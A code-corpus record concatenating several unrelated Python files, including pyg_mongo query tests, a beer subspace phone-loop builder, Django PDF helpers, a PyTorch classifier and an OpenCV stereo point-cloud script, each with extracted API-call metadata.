assert D((q.a == 1) | q.b != 1) == {'$or': [{'a': {'$eq': 1}}, {'b': {'$ne': 1}}]}
assert D((q.a == 1) | q.b == 1) == {'$or': [{'a': {'$eq': 1}}, {'b': {'$eq': 1}}]}
assert D((q.a == 1) | q.b <= 1) == {'$or': [{'a': {'$eq': 1}}, {'b': {'$lte': 1}}]}
assert D((q.a == 1) | q.b < 1) == {'$or': [{'a': {'$eq': 1}}, {'b': {'$lt': 1}}]}
def test_q_fails():
with pytest.raises(ValueError):
(q.a == 1) > 2
with pytest.raises(ValueError):
(q.a == 1) >= 2
with pytest.raises(ValueError):
(q.a == 1) < 2
with pytest.raises(ValueError):
(q.a == 1) <= 2
assert D((q.a > 1) & q.b == 2) == {"$and": [{"a": {"$gt": 1}}, {"b": {"$eq": 2}}]}
assert D((q.a > 1) | q.b == 2) == {"$or": [{"a": {"$gt": 1}}, {"b": {"$eq": 2}}]}
def test_Q_with_proxies():
assert D(Q({'hello world': 1}).hello_world == 1) == {"hello world": {"$eq": 1}}
assert D(Q(['hello world']).hello_world == 1) == {"hello world": {"$eq": 1}}
def test_Q_with_keys():
x = Q(['<NAME>', '<NAME>', '<NAME>'])
assert D((x.adam_aaron == 1) & (x.JAMES_JOYCE == 2)) == {'$and': [{'<NAME>': {'$eq': 1}}, {'<NAME>': {'$eq': 2}}]}
assert sorted(dir(x)) == sorted(['ADAM_AARON',
'<NAME>',
'Adam_Aaron',
'BETH_BROWN',
'<NAME>',
'Beth_Brown',
'JAMES_JOYCE',
'<NAME>',
'James_Joyce',
'adam_aaron',
'beth_brown',
'james_joyce'])
x = Q(['@@Adam%+Aaron', '++Beth---Brown++', '---James%%% Joyce%'])
assert D((x.adam_aaron == 1) & (x.JAMES_JOYCE == 2)) == {'$and': [{'---James%%% Joyce%': {'$eq': 2}}, {'@@Adam%+Aaron': {'$eq': 1}}]}
def test_q_callable():
assert D(q(a = 1, b = 2)) == {'$and': [{'a': {'$eq': 1}}, {'b': {'$eq': 2}}]}
assert D(q(a = 1, b = 2)) == {'$and': [{'a': {'$eq': 1}}, {'b': {'$eq': 2}}]}
assert D(q([q.a == 1, q.b == 2])) == {'$or': [{'a': {'$eq': 1}}, {'b': {'$eq': 2}}]}
def test_q_regex():
t = mongo_table('test', 'test')
t.drop()
t.insert_one(dict(item = 'Test1', value = 1))
t.insert_one(dict(item = 'test2', value = 2))
t.insert_one(dict(item = 'TEST2', value = 3))
assert len(t.inc(item = re.compile('^test'))) == 1
assert len(t.inc(item = re.compile('^test', re.IGNORECASE))) == 3
t.drop()
| [
"re.compile",
"pyg_mongo.Q",
"pyg_mongo.q.a.isinstance",
"pyg_mongo.mongo_table",
"pytest.raises",
"pyg_mongo.q"
] | [((5805, 5838), 'pyg_mongo.Q', 'Q', (["['<NAME>', '<NAME>', '<NAME>']"], {}), "(['<NAME>', '<NAME>', '<NAME>'])\n", (5806, 5838), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((6613, 6677), 'pyg_mongo.Q', 'Q', (["['@@Adam%+Aaron', '++Beth---Brown++', '---James%%% Joyce%']"], {}), "(['@@Adam%+Aaron', '++Beth---Brown++', '---James%%% Joyce%'])\n", (6614, 6677), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((7149, 7176), 'pyg_mongo.mongo_table', 'mongo_table', (['"""test"""', '"""test"""'], {}), "('test', 'test')\n", (7160, 7176), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((5169, 5194), 'pytest.raises', 'pytest.raises', (['ValueError'], {}), '(ValueError)\n', (5182, 5194), False, 'import pytest\n'), ((5228, 5253), 'pytest.raises', 'pytest.raises', (['ValueError'], {}), '(ValueError)\n', (5241, 5253), False, 'import pytest\n'), ((5288, 5313), 'pytest.raises', 'pytest.raises', (['ValueError'], {}), '(ValueError)\n', (5301, 5313), False, 'import pytest\n'), ((5347, 5372), 'pytest.raises', 'pytest.raises', (['ValueError'], {}), '(ValueError)\n', (5360, 5372), False, 'import pytest\n'), ((1636, 1657), 'pyg_mongo.q.a.isinstance', 'q.a.isinstance', (['float'], {}), '(float)\n', (1650, 1657), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((6879, 6890), 'pyg_mongo.q', 'q', ([], {'a': '(1)', 'b': '(2)'}), '(a=1, b=2)\n', (6880, 6890), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((6961, 6972), 'pyg_mongo.q', 'q', ([], {'a': '(1)', 'b': '(2)'}), '(a=1, b=2)\n', (6962, 6972), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((7043, 7066), 'pyg_mongo.q', 'q', (['[q.a == 1, q.b == 2]'], {}), '([q.a == 1, q.b == 2])\n', (7044, 7066), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((2661, 2680), 're.compile', 're.compile', (['"""^test"""'], {}), "('^test')\n", (2671, 2680), False, 'import re\n'), ((2732, 2766), 're.compile', 're.compile', (['"""^test"""', 're.IGNORECASE'], {}), "('^test', re.IGNORECASE)\n", (2742, 2766), False, 'import re\n'), ((2835, 2854), 're.compile', 're.compile', (['"""^test"""'], {}), "('^test')\n", (2845, 2854), False, 'import re\n'), ((5614, 5635), 'pyg_mongo.Q', 'Q', (["{'hello world': 1}"], {}), "({'hello world': 1})\n", (5615, 5635), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((5698, 5716), 'pyg_mongo.Q', 'Q', (["['hello world']"], {}), "(['hello world'])\n", (5699, 5716), False, 'from pyg_mongo import Q, q, mongo_table\n'), ((7368, 7387), 're.compile', 're.compile', (['"""^test"""'], {}), "('^test')\n", (7378, 7387), False, 'import re\n'), ((7423, 7457), 're.compile', 're.compile', (['"""^test"""', 're.IGNORECASE'], {}), "('^test', re.IGNORECASE)\n", (7433, 7457), False, 'import re\n')] |
'create a subspace phone-loop model'
import argparse
import copy
import pickle
import sys
import torch
import yaml
import beer
# Create a view of the emissions (aka modelset) for each units.
def iterate_units(modelset, nunits, nstates):
for idx in range(nunits):
start, end = idx * nstates, (idx + 1) * nstates
yield modelset[start:end]
# Compute the sufficient statistics from the natural parameters.
def param_stats(param):
post, prior = param.posterior, param.prior
return post.natural_parameters() - prior.natural_parameters()
# Init the statistics of the weights parameters to be uniformly
# distributed.
def init_weights_stats(weights):
stats = weights.stats
counts = stats[:, -1].sum()
ncomps = stats.shape[-1]
new_stats = torch.zeros_like(stats)
new_stats[:] = counts / ( 3 * ncomps)
new_stats[:, -1] = counts / 3
return new_stats
# Init the statistics of the mean/precision parameters to be the
# identical for each component of a HMM's state.
def init_means_precisions_stats(means_precisions, weights):
pi = weights.value().view(-1, 1)
stats = means_precisions.stats
stats.shape, pi / pi.sum()
new_stats = torch.zeros_like(stats)
new_stats[:] = (stats * pi).sum(dim=0, keepdim=True)
return new_stats
def setup(parser):
parser.add_argument('-c', '--classes',
help='assign a broad class to each unit')
parser.add_argument('-g', '--unit-group', default='speech-unit',
help='group of unit to model with the subspace ' \
'(default:"speech-unit")')
parser.add_argument('-p', '--posteriors',
help='posteriors to use for initialization')
parser.add_argument('-l', '--latent-dim', default=2, type=int,
help='dimension of the latent space (default:2)')
parser.add_argument('-d', '--dlatent-dim', default=2, type=int,
help='dimension of the discriminant latent space (default:2)')
parser.add_argument('conf', help='configuration file use to create ' \
'the phone-loop')
parser.add_argument('phoneloop', help='phone-loop to initialize the ' \
'subspace from')
parser.add_argument('gsm', help='output generalized subspace model')
parser.add_argument('posts', help='output units posterior')
parser.add_argument('sploop', help='output subspace Phone-Loop')
def main(args, logger):
logger.debug(f'reading configuration file: {args.conf}')
with open(args.conf, 'r') as f:
conf = yaml.load(f)
logger.debug(f'loading the configuration for the group: {args.unit_group}')
for groupidx, groupconf in enumerate(conf):
if groupconf['group_name'] == args.unit_group:
break
else:
raise ValueError(f'No matching group "{args.unit_group}"')
logger.debug(f'group configuration index {groupidx}')
ncomps = int(groupconf['n_normal_per_state'])
logger.debug(f'number of Gauss. components per state: {ncomps}')
topology = groupconf['topology']
nstates = 0
for arc in topology:
nstates = max(nstates, arc['end_id'] - 1)
nstates
logger.debug(f'number of states per unit: {nstates}')
logger.debug('loading the phone-loop')
with open(args.phoneloop, 'rb') as f:
ploop = pickle.load(f)
logger.debug('loading the units models')
units_emissions = ploop.modelset.original_modelset.modelsets[groupidx]
nunits = len(units_emissions) // nstates
logger.debug(f'number of units to include in the subspace: {nunits}')
# This steps is needed as in the training of the standard HMM
# there is no guarantee that the statistics will be retained by
# the parameters.
logger.debug('initializing the parameters\' sufficient statistics')
for param in units_emissions.bayesian_parameters():
param.stats = param_stats(param)
labels = None
nclasses = 1
if args.classes:
logger.debug(f'extracting the units\' class from: {args.classes}')
with open(args.classes, 'r') as f:
unit2class = {}
class2unit = {}
for line in f:
unit, uclass = line.strip().split()
unit2class[unit] = uclass
class2unit[uclass] = unit
classnames = [classname for classname in class2unit]
class2idx = {uclass: i for i, uclass in enumerate(sorted(classnames))}
nclasses = len(classnames)
labels = torch.zeros(nunits).long()
unit_idx = 0
for unit in ploop.start_pdf:
if unit in unit2class:
labels[unit_idx] = class2idx[unit2class[unit]]
unit_idx += 1
logger.debug('create the latent normal prior')
latent_prior = beer.Normal.create(torch.zeros(args.latent_dim),
torch.ones(args.latent_dim),
cov_type = 'full')
logger.debug('setting the parameters to be handled by the subspace')
newparams = {
param: beer.SubspaceBayesianParameter.from_parameter(param, latent_prior)
for param in units_emissions.bayesian_parameters()
}
units_emissions.replace_parameters(newparams)
for unit in iterate_units(units_emissions, nunits, nstates):
weights = unit.categoricalset.weights
means_precisions = unit.modelset.means_precisions
weights.stats = init_weights_stats(weights)
means_precisions.stats = init_means_precisions_stats(means_precisions,
weights)
logger.debug('creating the units model')
units = [unit for unit in iterate_units(units_emissions, nunits, nstates)]
logger.debug('creating the GSM')
tpl = copy.deepcopy(units[0])
if labels is None:
gsm = beer.GSM.create(tpl, args.latent_dim, latent_prior)
latent_posts = gsm.new_latent_posteriors(len(units))
if args.posteriors:
with open(args.posteriors, 'wb') as f:
init_posts = pickle.load(f)[0]
pdfvecs = gsm.expected_pdfvecs(latent_posts)
gsm.update_models(units, pdfvecs)
else:
dlatent_prior = beer.Normal.create(torch.zeros(args.dlatent_dim),
torch.ones(args.dlatent_dim),
cov_type = 'full')
gsmset = beer.GSMSet.create(tpl, nclasses, args.latent_dim,
args.dlatent_dim, latent_prior,
dlatent_prior)
latent_posts = gsmset.new_latent_posteriors(len(units))
pdfvecs = gsmset.expected_pdfvecs(latent_posts)
gsmset.update_models(units, pdfvecs)
gsm = beer.Mixture.create(gsmset)
logger.debug('saving the GSM')
with open(args.gsm, 'wb') as f:
pickle.dump(gsm, f)
logger.debug('saving the units posterior')
with open(args.posts, 'wb') as f:
if labels is None:
pickle.dump((latent_posts, nunits, nstates, groupidx), f)
else:
pickle.dump((latent_posts, nunits, nstates, groupidx, labels), f)
logger.debug('saving the subspace phoneloop')
with open(args.sploop, 'wb') as f:
pickle.dump(ploop, f)
logger.info(f'created {nunits} subspace HMMs (latent dim: {args.latent_dim})')
logger.info(f'latent prior: {latent_prior}')
if __name__ == "__main__":
main()
| [
"pickle.dump",
"beer.GSMSet.create",
"beer.Mixture.create",
"beer.GSM.create",
"pickle.load",
"yaml.load",
"beer.SubspaceBayesianParameter.from_parameter",
"copy.deepcopy",
"torch.zeros_like",
"torch.zeros",
"torch.ones"
] | [((784, 807), 'torch.zeros_like', 'torch.zeros_like', (['stats'], {}), '(stats)\n', (800, 807), False, 'import torch\n'), ((1200, 1223), 'torch.zeros_like', 'torch.zeros_like', (['stats'], {}), '(stats)\n', (1216, 1223), False, 'import torch\n'), ((5883, 5906), 'copy.deepcopy', 'copy.deepcopy', (['units[0]'], {}), '(units[0])\n', (5896, 5906), False, 'import copy\n'), ((2650, 2662), 'yaml.load', 'yaml.load', (['f'], {}), '(f)\n', (2659, 2662), False, 'import yaml\n'), ((3425, 3439), 'pickle.load', 'pickle.load', (['f'], {}), '(f)\n', (3436, 3439), False, 'import pickle\n'), ((4897, 4925), 'torch.zeros', 'torch.zeros', (['args.latent_dim'], {}), '(args.latent_dim)\n', (4908, 4925), False, 'import torch\n'), ((4965, 4992), 'torch.ones', 'torch.ones', (['args.latent_dim'], {}), '(args.latent_dim)\n', (4975, 4992), False, 'import torch\n'), ((5158, 5224), 'beer.SubspaceBayesianParameter.from_parameter', 'beer.SubspaceBayesianParameter.from_parameter', (['param', 'latent_prior'], {}), '(param, latent_prior)\n', (5203, 5224), False, 'import beer\n'), ((5944, 5995), 'beer.GSM.create', 'beer.GSM.create', (['tpl', 'args.latent_dim', 'latent_prior'], {}), '(tpl, args.latent_dim, latent_prior)\n', (5959, 5995), False, 'import beer\n'), ((6515, 6616), 'beer.GSMSet.create', 'beer.GSMSet.create', (['tpl', 'nclasses', 'args.latent_dim', 'args.dlatent_dim', 'latent_prior', 'dlatent_prior'], {}), '(tpl, nclasses, args.latent_dim, args.dlatent_dim,\n latent_prior, dlatent_prior)\n', (6533, 6616), False, 'import beer\n'), ((6864, 6891), 'beer.Mixture.create', 'beer.Mixture.create', (['gsmset'], {}), '(gsmset)\n', (6883, 6891), False, 'import beer\n'), ((6972, 6991), 'pickle.dump', 'pickle.dump', (['gsm', 'f'], {}), '(gsm, f)\n', (6983, 6991), False, 'import pickle\n'), ((7365, 7386), 'pickle.dump', 'pickle.dump', (['ploop', 'f'], {}), '(ploop, f)\n', (7376, 7386), False, 'import pickle\n'), ((6331, 6360), 'torch.zeros', 'torch.zeros', (['args.dlatent_dim'], {}), '(args.dlatent_dim)\n', (6342, 6360), False, 'import torch\n'), ((6405, 6433), 'torch.ones', 'torch.ones', (['args.dlatent_dim'], {}), '(args.dlatent_dim)\n', (6415, 6433), False, 'import torch\n'), ((7117, 7174), 'pickle.dump', 'pickle.dump', (['(latent_posts, nunits, nstates, groupidx)', 'f'], {}), '((latent_posts, nunits, nstates, groupidx), f)\n', (7128, 7174), False, 'import pickle\n'), ((7201, 7266), 'pickle.dump', 'pickle.dump', (['(latent_posts, nunits, nstates, groupidx, labels)', 'f'], {}), '((latent_posts, nunits, nstates, groupidx, labels), f)\n', (7212, 7266), False, 'import pickle\n'), ((4593, 4612), 'torch.zeros', 'torch.zeros', (['nunits'], {}), '(nunits)\n', (4604, 4612), False, 'import torch\n'), ((6165, 6179), 'pickle.load', 'pickle.load', (['f'], {}), '(f)\n', (6176, 6179), False, 'import pickle\n')] |
#!/usr/bin/env python
import markovify
with open("NAGERECHT.txt") as f:
text = f.read()
text_model = markovify.Text(text)
for i in range(8):
print(text_model.make_sentence())
| [
"markovify.Text"
] | [((108, 128), 'markovify.Text', 'markovify.Text', (['text'], {}), '(text)\n', (122, 128), False, 'import markovify\n')] |
from django.http import HttpResponse
from django.template.loader import get_template
from io import BytesIO
from xhtml2pdf import pisa
from tablib import Dataset
from .models import Barcode
def get_status(obj):
if int(obj.quantity) <= int(obj.reorder_level):
obj.status = 'low'
elif int(obj.quantity) > int(obj.reorder_level) and int(obj.quantity) <= int(obj.reorder_level) + 10:
obj.status = 'medium'
else:
obj.status = 'available'
obj.save()
def get_barcode():
# Opens up page as PDF
try:
qs = Barcode.objects.all()
data = {}
for obj in qs:
item = {
'id': obj.id,
'barcode_digit': obj.barcode_digit,
'barcode_img': obj.barcode_img
}
data.update(item)
return data
except Exception:
pass
def render_to_pdf(template_src, context_dict={}):
template = get_template(template_src)
html = template.render(context_dict)
result = BytesIO()
pdf = pisa.pisaDocument(BytesIO(html.encode("ISO-8859-1")), result)
if not pdf.err:
return HttpResponse(result.getvalue(), content_type='application/pdf')
return None
| [
"io.BytesIO",
"django.template.loader.get_template"
] | [((931, 957), 'django.template.loader.get_template', 'get_template', (['template_src'], {}), '(template_src)\n', (943, 957), False, 'from django.template.loader import get_template\n'), ((1007, 1016), 'io.BytesIO', 'BytesIO', ([], {}), '()\n', (1014, 1016), False, 'from io import BytesIO\n')] |
# Generated by Django 3.1 on 2020-08-09 01:40
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Main', '0004_auto_20200809_0425'),
]
operations = [
migrations.AlterField(
model_name='address',
name='apartment_address',
field=models.CharField(max_length=100, null=True),
),
migrations.AlterField(
model_name='address',
name='street_address',
field=models.CharField(max_length=100, null=True),
),
migrations.AlterField(
model_name='address',
name='zip',
field=models.CharField(max_length=100, null=True),
),
]
| [
"django.db.models.CharField"
] | [((343, 386), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(100)', 'null': '(True)'}), '(max_length=100, null=True)\n', (359, 386), False, 'from django.db import migrations, models\n'), ((517, 560), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(100)', 'null': '(True)'}), '(max_length=100, null=True)\n', (533, 560), False, 'from django.db import migrations, models\n'), ((680, 723), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(100)', 'null': '(True)'}), '(max_length=100, null=True)\n', (696, 723), False, 'from django.db import migrations, models\n')] |
'''
Restore configuration model.
'''
from typing import Any, Dict, Literal, Optional, Union
from pydantic import NonNegativeInt, validator
from .configuration import Configuration
class RestoreConfiguration(Configuration):
'''
Restore configuration model.
'''
#: Configuration type.
type: Literal['restore'] = 'restore'
#: Single/initial backup version.
version: Union[Literal['*'], NonNegativeInt]
#: Final backup version.
final_version: Optional[Union[Literal['*'], NonNegativeInt]] = None
@validator('final_version', always=True)
@classmethod
def validate_root_template(
cls,
value: Optional[Union[Literal['*'], NonNegativeInt]],
values: Dict[str, Any]
) -> Optional[Union[Literal['*'], NonNegativeInt]]:
'''
Return original value if the range of backup versions is valid,
raise exception otherwise.
Parameters:
value (Optional[Union[Literal['*'], NonNegativeInt]]): Final backup version or `None`.
values (Dict[str, Any]): Dictionary containing all parameter values.
Returns:
Optional[Union[Literal['*'], NonNegativeInt]]: A valid final backup version.
Raises:
ValueError: Expected range of backup versions is invalid.
'''
if value is None:
return value
if isinstance(value, str) or isinstance(values['version'], str):
return value
if value < values['version']:
raise ValueError(
'parameter value must be greater than "version" value.'
)
return value
__all__ = [
'RestoreConfiguration'
]
| [
"pydantic.validator"
] | [((540, 579), 'pydantic.validator', 'validator', (['"""final_version"""'], {'always': '(True)'}), "('final_version', always=True)\n", (549, 579), False, 'from pydantic import NonNegativeInt, validator\n')] |
import torch
import torch.nn as nn
import argparse
from torch.utils.data import Dataset
import sys
'''
Block of net
'''
def net_block(n_in, n_out):
block = nn.Sequential(nn.Linear(n_in, n_out),
nn.BatchNorm1d(n_out),
nn.ReLU())
return block
class Model(nn.Module):
def __init__(self, n_input, n_hidden, num_class, opt, toplevel=False):
super(Model, self).__init__()
self.opt = opt
self.toplevel = toplevel
self.block1 = net_block(n_input, n_hidden)
self.dropout = nn.Dropout(p=0.1)
if (opt.glove or opt.sift or opt.prefix10m):
#if include skip connection:
#self.block_mid = net_block(n_hidden + n_input, n_hidden)
self.block_mid = net_block(n_hidden, n_hidden)
if toplevel:
self.block2 = net_block(n_hidden, n_hidden)
self.fc1 = nn.Linear(n_hidden, num_class)
self.softmax = nn.Softmax(dim=-1)
for m in self.modules():
if isinstance(m, nn.Linear):
nn.init.xavier_normal_(m.weight)
nn.init.constant_(m.bias, 0.01)
def forward(self, x):
y = self.block1(x)
#y = self.dropout(x1)
if self.opt.glove or self.opt.sift or self.opt.prefix10m:
#if include skip connection:
#y = self.block_mid(torch.cat([x, y], dim=1))
y = self.block_mid(y)
if self.toplevel:
y = self.block2(y)
y = self.dropout(y)
out = self.fc1(y)
out = self.softmax(out)
return out
def get_dataset(data, shuffle, param_batch_size):
X, y = data
dset = torch.utils.data.TensorDataset(X.float(), y)
loader = torch.utils.data.DataLoader(dataset=dset, batch_size=param_batch_size,
shuffle=shuffle)
return loader
def write_results(result, output):
result = (-result.detach().numpy()).argsort(axis=1)
for i in range(result.shape[0]):
output.write(" ".join([str(x) for x in result[i]]) + "\n")
def run(param_feat, param_lr, param_batch_size):
print("RUNNING WITH: features="+str(param_feat)+"; lr="+str(param_lr)+"; batch_size="+str(param_batch_size))
input_dim = 100
# read data
X, y = torch.load('./data/parts64/data.path')
import numpy as np
dataset = np.load('./data/parts64/dataset.npy')
queries = np.load('./data/parts64/queries.npy')
n_data = X.size(0)
split = int(n_data * 0.95)
trainloader = get_dataset((X[:split], y[:split]), shuffle=True, param_batch_size=param_batch_size)
valloader = get_dataset((X[split:], y[split:]), shuffle=False, param_batch_size=param_batch_size)
# build model
m = Model
model = m(input_dim=input_dim, feat_dim=param_feat, num_class=64, args=None).cuda()
# criterion
crit = nn.CrossEntropyLoss().cuda()
# optimizer
# optimizer = torch.optim.RMSprop(model.parameters(), args.lr)
lr = param_lr
optimizer = torch.optim.Adam(model.parameters(), lr=lr, weight_decay=10**(-4))
scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=[20, 30, 35, 38, 39], gamma=0.1)
# start training!
losses = []
iterations = 40
for ep in range(1, iterations + 1):
print("==="+str(ep)+"===")
loss_sum = 0.
train_acc_tot = 0
train_n_tot = 0
scheduler.step()
for i, (X, y) in enumerate(trainloader):
y_pred = model(X.cuda())
loss = crit(y_pred, y.cuda())
optimizer.zero_grad()
loss.backward()
optimizer.step()
loss_sum += loss.item()
train_acc_tot += (y_pred.argmax(dim=1).cpu() == y).sum().item()
train_n_tot += X.size(0)
print("loss:", loss_sum)
print("train acc:", train_acc_tot*1. / train_n_tot)
losses.append(loss_sum / len(trainloader))
acc_tot = 0
n_tot = 0.
for i, (X, y) in enumerate(valloader):
y_pred = model(X.cuda())
acc_tot += (y_pred.argmax(dim=1).cpu() == y).sum().item()
n_tot += X.size(0)
print("val acc:", acc_tot / n_tot)
print("Doing inference and writing result files...")
# inference on data
batch_size = 10000
param_str = "_".join(sys.argv[1:])
with open("./data/parts64/data_prediction"+param_str+".txt","w") as output:
for b in range(0, n_data, batch_size):
data_batch_results = model(torch.from_numpy(dataset[b:b+batch_size]).float().cuda()).cpu()
write_results(data_batch_results, output)
# inference on queries
query_results = model(torch.from_numpy(queries).float().cuda()).cpu()
with open("./data/parts64/queries_prediction"+param_str+".txt","w") as output:
write_results(query_results, output)
if __name__ == "__main__":
run(int(sys.argv[1]), float(sys.argv[2]), int(sys.argv[3]))
| [
"torch.nn.ReLU",
"torch.nn.Dropout",
"torch.optim.lr_scheduler.MultiStepLR",
"torch.nn.Softmax",
"torch.nn.CrossEntropyLoss",
"torch.nn.init.constant_",
"torch.load",
"torch.from_numpy",
"torch.nn.init.xavier_normal_",
"torch.nn.BatchNorm1d",
"torch.nn.Linear",
"torch.utils.data.DataLoader",
... | [((1855, 1946), 'torch.utils.data.DataLoader', 'torch.utils.data.DataLoader', ([], {'dataset': 'dset', 'batch_size': 'param_batch_size', 'shuffle': 'shuffle'}), '(dataset=dset, batch_size=param_batch_size,\n shuffle=shuffle)\n', (1882, 1946), False, 'import torch\n'), ((2418, 2456), 'torch.load', 'torch.load', (['"""./data/parts64/data.path"""'], {}), "('./data/parts64/data.path')\n", (2428, 2456), False, 'import torch\n'), ((2494, 2531), 'numpy.load', 'np.load', (['"""./data/parts64/dataset.npy"""'], {}), "('./data/parts64/dataset.npy')\n", (2501, 2531), True, 'import numpy as np\n'), ((2546, 2583), 'numpy.load', 'np.load', (['"""./data/parts64/queries.npy"""'], {}), "('./data/parts64/queries.npy')\n", (2553, 2583), True, 'import numpy as np\n'), ((3222, 3317), 'torch.optim.lr_scheduler.MultiStepLR', 'torch.optim.lr_scheduler.MultiStepLR', (['optimizer'], {'milestones': '[20, 30, 35, 38, 39]', 'gamma': '(0.1)'}), '(optimizer, milestones=[20, 30, 35, 38,\n 39], gamma=0.1)\n', (3258, 3317), False, 'import torch\n'), ((181, 203), 'torch.nn.Linear', 'nn.Linear', (['n_in', 'n_out'], {}), '(n_in, n_out)\n', (190, 203), True, 'import torch.nn as nn\n'), ((231, 252), 'torch.nn.BatchNorm1d', 'nn.BatchNorm1d', (['n_out'], {}), '(n_out)\n', (245, 252), True, 'import torch.nn as nn\n'), ((280, 289), 'torch.nn.ReLU', 'nn.ReLU', ([], {}), '()\n', (287, 289), True, 'import torch.nn as nn\n'), ((589, 606), 'torch.nn.Dropout', 'nn.Dropout', ([], {'p': '(0.1)'}), '(p=0.1)\n', (599, 606), True, 'import torch.nn as nn\n'), ((968, 998), 'torch.nn.Linear', 'nn.Linear', (['n_hidden', 'num_class'], {}), '(n_hidden, num_class)\n', (977, 998), True, 'import torch.nn as nn\n'), ((1023, 1041), 'torch.nn.Softmax', 'nn.Softmax', ([], {'dim': '(-1)'}), '(dim=-1)\n', (1033, 1041), True, 'import torch.nn as nn\n'), ((2992, 3013), 'torch.nn.CrossEntropyLoss', 'nn.CrossEntropyLoss', ([], {}), '()\n', (3011, 3013), True, 'import torch.nn as nn\n'), ((1141, 1173), 'torch.nn.init.xavier_normal_', 'nn.init.xavier_normal_', (['m.weight'], {}), '(m.weight)\n', (1163, 1173), True, 'import torch.nn as nn\n'), ((1190, 1221), 'torch.nn.init.constant_', 'nn.init.constant_', (['m.bias', '(0.01)'], {}), '(m.bias, 0.01)\n', (1207, 1221), True, 'import torch.nn as nn\n'), ((4809, 4834), 'torch.from_numpy', 'torch.from_numpy', (['queries'], {}), '(queries)\n', (4825, 4834), False, 'import torch\n'), ((4637, 4680), 'torch.from_numpy', 'torch.from_numpy', (['dataset[b:b + batch_size]'], {}), '(dataset[b:b + batch_size])\n', (4653, 4680), False, 'import torch\n')] |
import numpy as np
import cv2
import glob
import PIL.ExifTags
import PIL.Image
from tqdm import tqdm
import os
import matplotlib.pyplot as plt
from pyntcloud import PyntCloud
import open3d as o3d
def create_output(vertices, colors, filename):
colors = colors.reshape(-1,3)
vertices = np.hstack([vertices.reshape(-1,3),colors])
ply_header = '''ply
format ascii 1.0
element vertex %(vert_num)d
property float x
property float y
property float z
property uchar red
property uchar green
property uchar blue
end_header
'''
with open(filename, 'w') as f:
f.write(ply_header %dict(vert_num=len(vertices)))
np.savetxt(f,vertices,'%f %f %f %d %d %d')
def generateDisparityMap(left,right,win_size,min_disp,max_disp,blockSize,uniquenessRatio,speckleSize,speckleRange,f):
f = f/100.0
ret = np.load(os.path.join("camera_params","ret.npy"))
K = np.load(os.path.join("camera_params","K.npy"))
dist = np.load(os.path.join("camera_params","dist.npy"))
img_1 = cv2.imread(left)
img_2 = cv2.imread(right)
img_1 = cv2.resize(img_1,(int(img_1.shape[1]/4),int(img_1.shape[0]/4)))
img_2 = cv2.resize(img_2,(int(img_2.shape[1]/4),int(img_2.shape[0]/4)))
h,w = img_2.shape[:2]
new_camera_matrix, roi = cv2.getOptimalNewCameraMatrix(K,dist,(w,h),1,(w,h))
img_1_undistorted = cv2.undistort(img_1, K, dist, None, K)
img_2_undistorted = cv2.undistort(img_2, K, dist, None, K)
num_disp = max_disp - min_disp
stereo = cv2.StereoSGBM_create(minDisparity= min_disp,
numDisparities = num_disp,
blockSize = blockSize,
uniquenessRatio = uniquenessRatio,
speckleWindowSize = speckleSize,
speckleRange = speckleRange,
P1 = 8*3*win_size**2,#8*3*win_size**2,
P2 =32*3*win_size**2) #32*3*win_size**2)
#Compute disparity map
print ("\nComputing the disparity map...")
disparity_map = stereo.compute(img_1_undistorted, img_2_undistorted)
plt.imsave('disparity_map.jpg',disparity_map)
#Generate point cloud.
print ("\nGenerating the 3D map...")
focal_length = np.load(os.path.join("camera_params","FocalLength.npy"), allow_pickle=True)
Q2 = np.float32([[1,0,0,0],
[0,-1,0,0],
[0,0,focal_length*f,0], #Focal length multiplication obtained experimentally.
[0,0,0,1]])
#Reproject points into 3D
points_3D = cv2.reprojectImageTo3D(disparity_map, Q2)
#Get color points
colors = cv2.cvtColor(img_1_undistorted, cv2.COLOR_BGR2RGB)
#Get rid of points with value 0 (i.e no depth)
mask_map = disparity_map > disparity_map.min()
#Mask colors and points.
output_points = points_3D[mask_map]
output_colors = colors[mask_map]
#Define name for output file
output_file = 'reconstructed.ply'
#Generate point cloud
print ("\n Creating the output file... \n")
create_output(output_points, output_colors, output_file) | [
"matplotlib.pyplot.imsave",
"cv2.undistort",
"cv2.reprojectImageTo3D",
"os.path.join",
"cv2.getOptimalNewCameraMatrix",
"cv2.StereoSGBM_create",
"cv2.cvtColor",
"numpy.savetxt",
"cv2.imread",
"numpy.float32"
] | [((997, 1013), 'cv2.imread', 'cv2.imread', (['left'], {}), '(left)\n', (1007, 1013), False, 'import cv2\n'), ((1026, 1043), 'cv2.imread', 'cv2.imread', (['right'], {}), '(right)\n', (1036, 1043), False, 'import cv2\n'), ((1253, 1310), 'cv2.getOptimalNewCameraMatrix', 'cv2.getOptimalNewCameraMatrix', (['K', 'dist', '(w, h)', '(1)', '(w, h)'], {}), '(K, dist, (w, h), 1, (w, h))\n', (1282, 1310), False, 'import cv2\n'), ((1330, 1368), 'cv2.undistort', 'cv2.undistort', (['img_1', 'K', 'dist', 'None', 'K'], {}), '(img_1, K, dist, None, K)\n', (1343, 1368), False, 'import cv2\n'), ((1393, 1431), 'cv2.undistort', 'cv2.undistort', (['img_2', 'K', 'dist', 'None', 'K'], {}), '(img_2, K, dist, None, K)\n', (1406, 1431), False, 'import cv2\n'), ((1482, 1730), 'cv2.StereoSGBM_create', 'cv2.StereoSGBM_create', ([], {'minDisparity': 'min_disp', 'numDisparities': 'num_disp', 'blockSize': 'blockSize', 'uniquenessRatio': 'uniquenessRatio', 'speckleWindowSize': 'speckleSize', 'speckleRange': 'speckleRange', 'P1': '(8 * 3 * win_size ** 2)', 'P2': '(32 * 3 * win_size ** 2)'}), '(minDisparity=min_disp, numDisparities=num_disp,\n blockSize=blockSize, uniquenessRatio=uniquenessRatio, speckleWindowSize\n =speckleSize, speckleRange=speckleRange, P1=8 * 3 * win_size ** 2, P2=\n 32 * 3 * win_size ** 2)\n', 